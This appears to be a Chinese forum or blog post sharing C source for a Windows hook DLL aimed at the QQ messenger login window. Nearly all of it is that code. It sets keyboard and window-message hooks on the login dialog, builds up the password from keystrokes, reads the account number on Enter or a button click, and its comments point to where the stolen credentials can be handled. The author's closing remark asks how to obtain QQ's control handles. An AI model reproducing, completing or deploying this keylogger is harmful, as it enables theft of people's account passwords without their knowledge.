一个dll钩子代码

 

#include<windows.h>
HWND hQQLandDlg=NULL;
HWND hUserNameEdit=NULL;
HWND hPasswordComboBox=NULL;
HWND hButton=NULL;
HHOOK hKeyboard=NULL;
HHOOK hWndProc=NULL;
HINSTANCE hHookDll;
char szPassword[128];
char szUserName[128];
int pszPasswordLen;

LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam );
LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam ) ;
BOOL WINAPI SetHook ( HWND hQQLand, HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall ) 
{ 
if ( isInstall ) 
{ 
hQQLandDlg = hQQLand ; 
hUserNameEdit = hUserName ; 
hPasswordComboBox = hPassword ; 
hButton = hLandButton ;

DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ; 
hHookDll = GetModuleHandle ( "MyQQHook" ) ;

hKeyboard = SetWindowsHookEx ( WH_KEYBOARD, 
(HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;

hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC, 
(HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;

if ( hKeyboard != NULL && hWndProc != NULL ) 
return true ; 
}

else 
{ 
UnhookWindowsHookEx ( hKeyboard ) ; 
UnhookWindowsHookEx ( hWndProc ) ;

hHookDll = NULL ; 
hKeyboard = NULL ; 
hWndProc = NULL ; 
ZeroMemory ( szPassword, 128 ) ; 
pszPasswordLen = 0 ; 
}

return false ; 
}

LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam ) 
{

//检测回车键是否被按下 
if ( wParam == VK_RETURN && lParam > 0 ) 
{

//由于钩子函数只是记录对密码框的记录，因而在最后时刻取得号码会是准确的 
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

//此处可以自由处理拦截到的号码和密码（szUserName,szPassword）

//不要忘了变量还原（szUserName,szPassword） 
}

if ( lParam > 0 && wParam != VK_RETURN ) 
{ 
char KeyName[10] ; 
ZeroMemory ( KeyName, 10 ) ; 
GetKeyNameText ( lParam, KeyName, 10 ) ;

if ( strlen ( KeyName ) == 1 ) 
{ 
strcat ( szPassword, KeyName ) ; 
} 
}

  return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ; 
}

LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam ) 
{ 
CWPSTRUCT *p = (CWPSTRUCT*)lParam ; 
if ( p->message == WM_COMMAND && p->hwnd == hButton ) 
{//同理

SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

//这里可添加如何处理密码的语句 
} 
return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ; 
}

主要问题是如何获得QQ的控件句柄！！呵呵！！有难度啊！！